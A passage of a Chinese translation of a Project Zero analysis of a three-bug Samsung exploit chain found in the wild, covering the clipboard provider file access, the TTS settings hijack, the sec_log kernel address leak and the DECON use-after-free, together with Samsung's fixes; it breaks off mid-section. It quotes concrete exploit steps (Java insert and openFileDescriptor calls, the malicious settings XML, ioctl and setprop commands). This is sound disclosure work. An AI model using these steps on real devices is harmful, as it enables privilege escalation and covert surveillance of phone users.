一个非常强大的剪贴板:三星野外利用链分析

访问原始链接 Google 翻译

作者:Maddie Stone,Project Zero

注:本文讨论的三个漏洞均在三星2021年3月的更新中修复。它们被分配为CVE-2021-25337、CVE-2021-25369、CVE-2021-25370。为确保您的三星设备已更新,可在设置中检查设备是否运行SMR Mar-2021或更高版本。

作为防御者,野外利用样本让我们深入了解攻击者的真实行为。我们获得了关于他们所用漏洞和利用技术的"真实数据",这为我们的进一步研究提供了信息,并指导安全团队关注可能产生最大影响或投资回报的领域。为此,我们需要知道这些漏洞和利用样本是在野外发现的。过去几年,供应商在透明披露已知在野外被利用的漏洞方面取得了巨大进展:Adobe、Android、Apple、ARM、Chrome、Microsoft、Mozilla等公司都通过其安全发布说明分享了这些信息。

虽然我们理解三星尚未将任何漏洞标注为"野外利用",但三星已承诺未来将在其发布说明中公开分享漏洞可能受到有限、针对性利用的情况。

我们希望,像三星一样,其他厂商也能加入行业同行的行列,在有证据表明其产品中的漏洞在野外被利用时进行披露。

利用样本

Google威胁分析小组(TAG)获取了一个针对三星设备的部分利用链,TAG认为该利用链属于一家商业监控供应商。这些漏洞利用很可能是在测试阶段被发现的。样本来自2020年底。该利用链值得进一步分析,因为它是一个包含3个漏洞的利用链,且所有3个漏洞都位于三星自定义组件中,包括一个Java组件中的漏洞。此利用分析是与TAG的Clement Lecigne合作完成的。

该样本使用了三个漏洞,均于2021年3月由三星修复:

  1. 通过剪贴板提供程序实现的任意文件读/写 - CVE-2021-25337
  2. 通过sec_log实现的内核信息泄露 - CVE-2021-25369
  3. 显示处理单元(DPU)驱动程序中的释放后使用(use-after-free) - CVE-2021-25370

该利用样本针对运行内核4.14.113且搭载Exynos SOC的三星手机。三星手机根据销售地区运行两种类型的SOC之一。例如,在美国、中国和其他一些国家销售的三星手机使用高通SOC,而在大多数其他地区(如欧洲和非洲)销售的手机则运行Exynos SOC。该利用样本依赖于Mali GPU驱动程序和DPU驱动程序,这两个驱动程序是Exynos三星手机特有的。

2020年底(发现此样本时)运行内核4.14.113的三星手机示例包括S10、A50和A51。

获得的野外样本是一个JNI本地库文件,本应作为应用程序的一部分加载。遗憾的是,TAG未获取与此库一起使用的应用程序。通过应用程序获取初始代码执行是我们今年在其他攻击活动中看到的路径。TAG和Project Zero在6月发布了其中一次攻击活动的详细分析。

漏洞 #1 - 任意文件系统读写

利用链使用CVE-2021-25337进行初始的任意文件读写。利用程序以untrusted_app SELinux上下文运行,但使用system_server SELinux上下文打开通常无法访问的文件。此漏洞是由于三星自定义剪贴板提供程序(以系统用户身份运行)中缺乏访问控制造成的。

三星2021年3月安全更新中CVE-2021-25337条目的截图。内容为:

关于Android内容提供程序

在Android中,内容提供程序管理不同数据的存储和系统范围访问。内容提供程序将其数据组织为表,列表示收集的数据类型,行表示每条数据。内容提供程序需要实现六个抽象方法:query、insert、update、delete、getType和onCreate。除了onCreate之外,所有这些方法都由客户端应用程序调用。

根据Android文档:

所有应用程序都可以从您的提供程序读取或写入,即使底层数据是私有的,因为默认情况下您的提供程序没有设置权限。要更改此设置,请在清单文件中使用<provider>元素的属性或子元素为您的提供程序设置权限。您可以设置适用于整个提供程序、某些表甚至某些记录的权限,或三者兼而有之。

漏洞详情

三星创建了一个自定义剪贴板内容提供程序,在系统服务器内运行。系统服务器是Android上一个权限非常高的进程,管理设备运行所需的许多关键服务,例如WifiService和TimeZoneDetectorService。系统服务器以特权系统用户(UID 1000,AID_system)身份运行,并在system_server SELinux上下文中。

三星向系统服务器添加了一个自定义剪贴板内容提供程序。此自定义剪贴板提供程序专门用于图像。在com.android.server.semclipboard.SemClipboardProvider类中,有以下变量:

DATABASE_NAME = 'clipboardimage.db'
TABLE_NAME = 'ClipboardImageTable'
URL = 'content://com.sec.android.semclipboardprovider/images'
CREATE_TABLE = " CREATE TABLE ClipboardImageTable (id INTEGER PRIMARY KEY AUTOINCREMENT,  _data TEXT NOT NULL);";

与位于"正常"应用程序中并可以通过清单中的权限限制访问的内容提供程序(如上所述)不同,系统服务器中的内容提供程序负责在自己的代码中限制访问。系统服务器是固件映像上的单个JAR(services.jar),没有用于放置任何权限的清单。因此,由系统服务器内的代码自行进行访问检查。

2022年11月10日更新:系统服务器代码本身不是一个应用程序。相反,其代码位于JAR文件services.jar中。其清单位于/system/framework/framework-res.apk中。在这种情况下,清单中SemClipboardProvider的条目是:

<provider android:name="com.android.server.semclipboard.SemClipboardProvider" android:enabled="true" android:exported="true" android:multiprocess="false" android:authorities="com.sec.android.semclipboardprovider" android:singleUser="true"/>

与"正常"应用程序定义的组件一样,系统服务器可以使用android:permission属性来控制对提供程序的访问,但它没有这样做。由于通过清单访问SemClipboardProvider不需要权限,任何访问控制必须来自提供程序代码本身。感谢Edward Cunningham指出这一点!

如上所示,ClipboardImageTable仅为表定义了两列:id和_data。列名_data在Android内容提供程序中有特殊用途。它可以与[openFileHelper](https://developer.android.com/reference/android/content/ContentProvider#openFileHelper(android.net.Uri,%20java.lang.String)方法一起使用,在指定路径打开文件。只有表中行的URI传递给`openFileHelper`,并返回一个指向该行存储路径的[`ParcelFileDescriptor`](https://developer.android.com/reference/android/os/ParcelFileDescriptor)对象。然后,`ParcelFileDescriptor`类提供[`getFd`](https://developer.android.com/reference/android/os/ParcelFileDescriptor#getFd()方法来获取返回的`ParcelFileDescriptor`的本地文件描述符(fd)。

public Uri insert(Uri uri, ContentValues values) {
    long row = this.database.insert(TABLE_NAME, "", values);
    if (row > 0) {
        Uri newUri = ContentUris.withAppendedId(CONTENT_URI, row);
        getContext().getContentResolver().notifyChange(newUri, null);
        return newUri;
    }
    throw new SQLException("Fail to add a new record into " + uri);
}

上面的函数是com.android.server.semclipboard.SemClipboardProvider中易受攻击的insert()方法。此函数中没有包含访问控制,因此任何应用程序,包括untrusted_app SELinux上下文,都可以直接修改_data列。通过调用insert,应用程序可以通过系统服务器打开通常无法自行打开的文件。

利用程序通过设备上不受信任的应用程序中的以下代码触发了该漏洞。此代码返回一个原始文件描述符。

ContentValues vals = new ContentValues();
vals.put("_data", "/data/system/users/0/newFile.bin");
URI semclipboard_uri = URI.parse("content://com.sec.android.semclipboardprovider")
ContentResolver resolver = getContentResolver();
URI newFile_uri = resolver.insert(semclipboard_uri, vals);
return resolver.openFileDescriptor(newFile_uri, "w").getFd();

让我们逐行分析发生了什么:

  1. 创建一个ContentValues对象。它保存调用者想要插入提供程序数据库表的键值对。键是列名,值是行条目。
  2. 设置ContentValues对象:键设置为"_data",值设置为由利用程序控制的任意文件路径。
  3. 获取访问semclipboardprovider的URI。这是在SemClipboardProvider类中设置的。
  4. 获取允许应用程序访问内容提供程序的ContentResolver对象。
  5. 使用我们的键值对在semclipboardprovider上调用insert。
  6. 打开作为值传入的文件并返回原始文件描述符。openFileDescriptor调用内容提供程序的openFile,在本例中,它只是调用openFileHelper。

利用程序将其下一阶段的二进制文件写入目录/data/system/users/0/。被丢弃的文件将具有users_system_data_file的SELinux上下文。正常的untrusted_app无法打开或创建users_system_data_file文件,因此在本例中,它们通过system_server代理打开,system_server可以打开users_system_data_file。虽然untrusted_app无法打开users_system_data_file,但它可以读取和写入users_system_data_file。一旦剪贴板内容提供程序打开文件并将fd传递给调用进程,调用进程现在就可以读取和写入它。

利用程序首先使用此fd将其下一阶段的ELF文件写入文件系统。阶段2 ELF的内容嵌入在原始样本中。

如下所述,在整个利用链中,此漏洞又被触发了三次。

漏洞修复

为了修复该漏洞,三星向SemClipboardProvider中的函数添加了访问检查。insert方法现在检查调用进程的PID是否为UID 1000,这意味着它已经以系统权限运行。

public Uri insert(Uri uri, ContentValues values) {
    if (Binder.getCallingUid() != 1000) {
        Log.e(TAG, "Fail to insert image clip uri. blocked the access of package : " + getContext().getPackageManager().getNameForUid(Binder.getCallingUid()));
        return null;
    }
    long row = this.database.insert(TABLE_NAME, "", values);
    if (row > 0) {
        Uri newUri = ContentUris.withAppendedId(CONTENT_URI, row);
        getContext().getContentResolver().notifyChange(newUri, null);
        return newUri;
    }
    throw new SQLException("Fail to add a new record into " + uri);
}

执行阶段2 ELF

利用程序现在已将其阶段2二进制文件写入文件系统,但它们如何在其当前应用程序沙箱之外加载它呢?使用三星文本转语音应用程序(SamsungTTS.apk)。

三星文本转语音应用程序(com.samsung.SMT)是三星设备上预装的系统应用程序。它也以系统UID运行,但SELinux上下文权限稍低,是system_app而不是system_server。之前至少有一个公开漏洞曾利用此应用程序以系统身份获取代码执行。这次的不同之处在于,利用程序不需要另一个漏洞;相反,它重用了剪贴板中的阶段1漏洞在文件系统上任意写入文件。

旧版本的三星TTS应用程序在其设置文件中存储其引擎的文件路径。当应用程序中的服务启动时,它会从设置文件中获取路径,并使用System.load API将该文件路径作为本地库加载。

利用程序利用这一点,使用阶段1漏洞将其文件路径写入设置文件,然后启动服务,该服务随后将其阶段2可执行文件作为系统UID和system_app SELinux上下文加载。

为此,利用程序使用阶段1漏洞将以下内容写入两个不同的文件:/data/user_de/0/com.samsung.SMT/shared_prefs/SamsungTTSSettings.xml和/data/data/com.samsung.SMT/shared_prefs/SamsungTTSSettings.xml。根据手机和应用程序的版本,三星TTS应用程序使用这两个不同的路径作为其设置文件。

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name=\"eng-USA-Variant Info\">f00</string>\n"
<string name=\"SMT_STUBCHECK_STATUS\">STUB_SUCCESS</string>\n"
<string name=\"SMT_LATEST_INSTALLED_ENGINE_PATH\">/data/system/users/0/newFile.bin</string>\n"
</map>

SMT_LATEST_INSTALLED_ENGINE_PATH是传递给System.load()的文件路径。为了启动系统加载过程,利用程序通过向应用程序发送两个意图来停止并重新启动SamsungTTSService。然后SamsungTTSService启动加载,阶段2 ELF开始以系统用户身份在system_app SELinux上下文中执行。

该利用样本至少来自2020年11月。截至2020年11月,一些设备上的三星TTS应用程序版本具有此任意文件加载功能,而其他设备则没有。3.0.04.14及更早版本的应用程序包含任意加载功能。似乎在Android 10(Q)上发布的设备搭载了更新版本的三星TTS应用程序,该版本不会根据设置文件中的路径加载ELF文件。例如,2019年底在Android 10上发布的A51设备搭载的是三星TTS应用程序的3.0.08.18版本,该版本不包含加载ELF的功能。

在Android P及更早版本上发布的手机似乎具有3.0.08.18之前的应用程序版本,该版本确实会加载可执行文件,直到2020年12月。例如,来自此A50设备(2020年11月安全补丁级别)的三星TTS应用程序是3.0.03.22版本,该版本确实从设置文件加载。

一旦ELF文件通过System.load API加载,它就开始执行。它包含两个额外的漏洞利用,以root用户身份获取内核读写权限。

漏洞 #2 - task_struct和sys_call_table地址泄露

一旦第二阶段ELF运行(并以系统身份),利用程序继续执行。利用链使用的第二个漏洞(CVE-2021-25369)是一个信息泄露漏洞,用于泄露task_struct和sys_call_table的地址。泄露的sys_call_table地址用于击败KASLR。稍后用于获取任意内核读写的addr_limit指针是根据泄露的task_struct地址计算得出的。

该漏洞存在于自定义三星日志文件的访问权限中:/data/log/sec_log.log。

三星2021年3月安全更新中CVE-2021-25369条目的截图。内容为:

利用程序滥用了WARN_ON来泄露两个内核地址,从而破坏ASLR。WARN_ON仅用于检测到内核错误的情况,因为它会打印完整的回溯,包括堆栈跟踪和寄存器值,到内核日志缓冲区/dev/kmsg。

void __warn(const char *file, int line, void *caller, unsigned taint,
            struct pt_regs *regs, struct warn_args *args)
{
    disable_trace_on_warning();

    pr_warn("------------[ cut here ]------------\n");

    if (file)
        pr_warn("WARNING: CPU: %d PID: %d at %s:%d %pS\n",
            raw_smp_processor_id(), current->pid, file, line,
            caller);
    else
        pr_warn("WARNING: CPU: %d PID: %d at %pS\n",
            raw_smp_processor_id(), current->pid, caller);

    if (args)
        vprintk(args->fmt, args->args);

    if (panic_on_warn) {
        /*
         * This thread may hit another WARN() in the panic path.
         * Resetting this prevents additional WARN() from panicking the
         * system on this thread.  Other threads are blocked by the
         * panic_mutex in panic().
         */
        panic_on_warn = 0;
        panic("panic_on_warn set ...\n");
    }

    print_modules();
    dump_stack();
    print_oops_end_marker();
    /* Just a warning, don't kill lockdep. */
    add_taint(taint, LOCKDEP_STILL_OK);
}

在Android上,从kmsg读取的能力仅限于特权用户和上下文。虽然system_server可以读取kmsg,但从system_app上下文无法读取,这意味着利用程序无法读取。

a51:/ $ ls -alZ /dev/kmsg
crw-rw---- 1 root system u:object_r:kmsg_device:s0 1, 11 2022-10-27 21:48 /dev/kmsg

$ sesearch -A -s system_server -t kmsg_device -p read precompiled_sepolicy
allow domain dev_type:lnk_file { getattr ioctl lock map open read };
allow system_server kmsg_device:chr_file { append getattr ioctl lock map open read write };

然而,三星添加了一个自定义日志记录功能,将kmsg复制到sec_log。sec_log是位于/data/log/sec_log.log的文件。

利用程序触发的WARN_ON位于ARM提供的Mali GPU图形驱动程序中。ARM在2020年2月的发布BX304L01B-SW-99002-r21p0-01rel1中将WARN_ON替换为更合适的辅助函数pr_warn。然而,截至2021年1月,A51(SM-A515F)和A50(SM-A505F)仍在使用易受攻击的驱动程序版本(r19p0)。

/**
 * kbasep_vinstr_hwcnt_reader_ioctl() - hwcnt reader's ioctl.
 * @filp:   Non-NULL pointer to file structure.
 * @cmd:    User command.
 * @arg:    Command's argument.
 *
 * Return: 0 on success, else error code.
 */
static long kbasep_vinstr_hwcnt_reader_ioctl(
    struct file *filp,
    unsigned int cmd,
    unsigned long arg)
{
    long rcode;
    struct kbase_vinstr_client *cli;

    if (!filp || (_IOC_TYPE(cmd) != KBASE_HWCNT_READER))
        return -EINVAL;

    cli = filp->private_data;
    if (!cli)
        return -EINVAL;

    switch (cmd) {
    case KBASE_HWCNT_READER_GET_API_VERSION:
        rcode = put_user(HWCNT_READER_API, (u32 __user *)arg);
        break;
    case KBASE_HWCNT_READER_GET_HWVER:
        rcode = kbasep_vinstr_hwcnt_reader_ioctl_get_hwver(
            cli, (u32 __user *)arg);
        break;
    case KBASE_HWCNT_READER_GET_BUFFER_SIZE:
        rcode = put_user(
            (u32)cli->vctx->metadata->dump_buf_bytes,
            (u32 __user *)arg);
        break;
    [...]
    default:
        WARN_ON(true);
        rcode = -EINVAL;
        break;
    }

    return rcode;
}

具体来说,WARN_ON位于函数kbase_vinstr_hwcnt_reader_ioctl中。为了触发,利用程序只需要为HWCNT驱动程序调用一个无效的ioctl号,就会触发WARN_ON。利用程序进行两次ioctl调用:第一次是Mali驱动程序的HWCNT_READER_SETUP ioctl,用于初始化hwcnt驱动程序并能够调用ioctl;然后使用无效的ioctl号0xFE调用hwcnt ioctl目标。

hwcnt_fd = ioctl(dev_mali_fd, 0x40148008, &v4);
ioctl(hwcnt_fd, 0x4004BEFE, 0);

为了触发漏洞,利用程序多次向HWCNT驱动程序发送无效的ioctl,然后通过调用以下命令触发错误报告:

setprop dumpstate.options bugreportfull;
setprop ctl.start bugreport;

在Android中,属性ctl.start启动在init中定义的服务。在目标三星设备上,谁有权访问ctl.start属性的SELinux策略比AOSP的策略宽松得多。最值得注意的是,在本利用程序的情况下,system_app有权设置ctl_start,从而启动错误报告。

allow at_distributor ctl_start_prop:file { getattr map open read };
allow at_distributor ctl_start_prop:property_service set;
allow bootchecker ctl_start_prop:file { getattr map open read };
allow bootchecker ctl_start_prop:property_service set;
allow dumpstate property_type:file { getattr map open read };
allow hal_keymaster_default ctl_start_prop:file { getattr map open read };
allow hal_keymaster_default ctl_start_prop:property_service set;
allow ikev2_client ctl_start_prop:file { getattr map open read };
allow ikev2_client ctl_start_prop:property_service set;
allow init property_type:file { append create getattr map open read relabelto rename setattr unlink write };
allow init property_type:property_service set;
allow keystore ctl_start_prop:file { getattr map open read };
allow keystore ctl_start_prop:property_service set;
allow mediadrmserver ctl_start_prop:file { getattr map open read };
allow mediadrmserver ctl_start_prop:property_service set;
allow multiclientd ctl_start_prop:file { getattr map open read };
allow multiclientd ctl_start_prop:property_service set;
allow radio ctl_start_prop:file { getattr map open read };
allow radio ctl_start_prop:property_service set;
allow shell ctl_start_prop:file { getattr map open read };
allow shell ctl_start_prop:property_service set;
allow surfaceflinger ctl_start_prop:file { getattr map open read };
allow surfaceflinger ctl_start_prop:property_service set;
allow system_app ctl_start_prop:file { getattr map open read };
allow system_app ctl_start_prop:property_service set;
allow system_server ctl_start_prop:file { getattr map open read };
allow system_server ctl_start_prop:property_service set;
allow vold ctl_start_prop:file { getattr map open read };
allow vold ctl_start_prop:property_service set;
allow wlandutservice ctl_start_prop:file { getattr map open read };
allow wlandutservice ctl_start_prop:property_service set;

错误报告服务在/system/etc/init/dumpstate.rc中定义:

service bugreport /system/bin/dumpstate -d -p -B -z \
    -o /data/user_de/0/com.android.shell/files/bugreports/bugreport
    class main
    disabled
    oneshot

dumpstate.rc中的bugreport服务是三星特定的定制。AOSP版本的dumpstate.rc[https://cs.android.com/android/platform/superproject/+/master:frameworks/native/cmds/dumpstate/dumpstate.rc;l=1?q=dumpstate.rc&sq=&ss=android%2Fplatform%2Fsuperproject)不包含此服务。

三星版本的dumpstate二进制文件(/system/bin/dumpstate)然后将/proc/sec_log中的所有内容复制到/data/log/sec_log.log,如下面的伪代码所示。这是dumpstate二进制文件中dumpstate()函数的前几行。dump_sec_log函数(二进制文件中包含符号)将参数二提供的路径中的所有内容复制到参数三提供的路径。

_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
LOBYTE(s) = 18;
v650[0] = 0LL;
s_8 = 17664LL;
*(char **)((char *)&s + 1) = *(char **)"DUMPSTATE";
DurationReporter::DurationReporter(v636, (__int64)&s, 0);
if ( ((unsigned __int8)s & 1) != 0 )
    operator delete(v650[0]);
dump_sec_log("SEC LOG", "/proc/sec_log", "/data/log/sec_log.log");

启动bugreport服务后,利用程序使用inotify监视/data/log/目录中的IN_CLOSE_WRITE事件。IN_CLOSE_WRITE在打开进行写入的文件关闭时触发。因此,当dumpstate完成向sec_log.log写入时,将发生此监视。

下面显示了触发WARN_ON语句后生成的sec_log.log文件内容示例。利用程序梳理文件内容,查找堆栈上地址*b60和*bc0处的两个值:task_struct和sys_call_table地址。

<4>[90808.635627]  [4:    poc:25943] ------------[ cut here ]------------
<4>[90808.635654]  [4:    poc:25943] WARNING: CPU: 4 PID: 25943 at drivers/gpu/arm/b_r19p0/mali_kbase_vinstr.c:992 kbasep_vinstr_hwcnt_reader_ioctl+0x36c/0x664
<4>[90808.635663]  [4:    poc:25943] Modules linked in:
<4>[90808.635675]  [4:    poc:25943] CPU: 4 PID: 25943 Comm: poc Tainted: G        W       4.14.113-20034833 #1
<4>[90808.635682]  [4:    poc:25943] Hardware name: Samsung BEYOND1LTE EUR OPEN 26 board based on EXYNOS9820 (DT)
<4>[90808.635689]  [4:    poc:25943] Call trace:
<4>[90808.635701]  [4:    poc:25943] [<0000000000000000>] dump_backtrace+0x0/0x280
<4>[90808.635710]  [4:    poc:25943] [<0000000000000000>] show_stack+0x18/0x24
<4>[90808.635720]  [4:    poc:25943] [<0000000000000000>] dump_stack+0xa8/0xe4
<4>[90808.635731]  [4:    poc:25943] [<0000000000000000>] __warn+0xbc/0x164tv
<4>[90808.635738]  [4:    poc:25943] [<0000000000000000>] report_bug+0x15c/0x19c
<4>[90808.635746]  [4:    poc:25943] [<0000000000000000>] bug_handler+0x30/0x8c
<4>[90808.635753]  [4:    poc:25943] [<0000000000000000>] brk_handler+0x94/0x150
<4>[90808.635760]  [4:    poc:25943] [<0000000000000000>] do_debug_exception+0xc8/0x164
<4>[90808.635766]  [4:    poc:25943] Exception stack(0xffffff8014c2bb40 to 0xffffff8014c2bc80)
<4>[90808.635775]  [4:    poc:25943] bb40: ffffffc91b00fa40 000000004004befe 0000000000000000 0000000000000000
<4>[90808.635781]  [4:    poc:25943] bb60: ffffffc061b65800 000000000ecc0408 000000000000000a 000000000000000a
<4>[90808.635789]  [4:    poc:25943] bb80: 000000004004be30 000000000000be00 ffffffc86b49d700 000000000000000b
<4>[90808.635796]  [4:    poc:25943] bba0: ffffff8014c2bdd0 0000000080000000 0000000000000026 0000000000000026
<4>[90808.635802]  [4:    poc:25943] bbc0: ffffff8008429834 000000000041bd50 0000000000000000 0000000000000000
<4>[90808.635809]  [4:    poc:25943] bbe0: ffffffc88b42d500 ffffffffffffffea ffffffc96bda5bc0 0000000000000004
<4>[90808.635816]  [4:    poc:25943] bc00: 0000000000000000 0000000000000124 000000000000001d ffffff8009293000
<4>[90808.635823]  [4:    poc:25943] bc20: ffffffc89bb6b180 ffffff8014c2bdf0 ffffff80084294bc ffffff8014c2bd80
<4>[90808.635829]  [4:    poc:25943] bc40: ffffff800885014c 0000000020400145 0000000000000008 0000000000000008
<4>[90808.635836]  [4:    poc:25943] bc60: 0000007fffffffff 0000000000000001 ffffff8014c2bdf0 ffffff800885014c
<4>[90808.635843]  [4:    poc:25943] [<0000000000000000>] el1_dbg+0x18/0x74

文件/data/log/sec_log.log具有SELinux上下文dumplog_data_file,如下所示,许多应用程序都可以广泛访问它。利用程序当前在三星TTS应用程序内运行,该应用程序是system_app SELinux上下文。虽然由于SELinux访问控制,利用程序无法访问/dev/kmsg,但当相同内容被复制到访问权限更宽松的sec_log.log时,它可以访问。

$ sesearch -A -t dumplog_data_file -c file -p open precompiled_sepolicy | grep _app
allow aasa_service_app dumplog_data_file:file { getattr ioctl lock map open read };
allow dualdar_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow platform_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow priv_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow system_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow teed_app dumplog_data_file:file { append create getattr ioctl lock map open read rename setattr unlink write };
allow vzwfiltered_untrusted_app dumplog_data_file:file { getattr ioctl lock map open read };

漏洞修复

针对此漏洞进行了几项不同的更改:

  • 修改了设备上的dumpstate二进制文件 - 自2021年3月更新起,dumpstate不再写入/data/log/sec_log.log。
  • 从dumpstate.rc中移除了bugreport服务。

此外,2020年初还进行了一些更改,如果包含这些更改,将在未来防止此漏洞:

  • 如上所述,ARM在2020年2月发布了Mali驱动程序的r21p0版本,该版本将WARN_ON替换为更合适的pr_warn,后者不记录完整的回溯。2021年3月的三星固件包括从Mali驱动程序的r19p0版本更新到r26p0版本,该版本使用pr_warn而不是WARN_ON。
  • 2020年4月,上游Linux进行了一项更改,不再在内核回溯中包含原始堆栈内容。

漏洞 #3 - 任意内核读写

利用链中的最后一个漏洞(CVE-2021-25370)是显示处理单元(DPU)的显示和增强控制器(DECON)三星驱动程序中的文件结构体释放后使用(use-after-free)。根据上游提交消息,DECON负责从像素数据创建视频信号。此漏洞用于获取任意内核读写访问权限。

三星2021年3月安全更新中CVE-2021-25370条目的截图。内容为:

查找android.hardware.graphics.composer的PID

为了能够触发漏洞,利用程序需要驱动程序的fd以发送ioctl调用。为了找到fd,利用程序必须遍历目标进程的fd proc目录。因此,利用程序首先需要找到图形进程的PID。

利用程序连接到在/dev/socket/logdr监听的LogReader。当客户端连接到LogReader时,LogReader将日志内容写回客户端。然后,利用程序通过套接字写回LogReader来配置它发送主日志缓冲区(0)、系统日志缓冲区(3)和崩溃日志缓冲区(4)的日志:

stream lids=0,3,4

然后,利用程序监视日志内容,直到看到单词"display"或"SDM"。一旦找到"display"或"SDM"日志条目,利用程序就从该日志条目中读取PID。

现在它有了android.hardware.graphics.composer的PID,其中[`android.h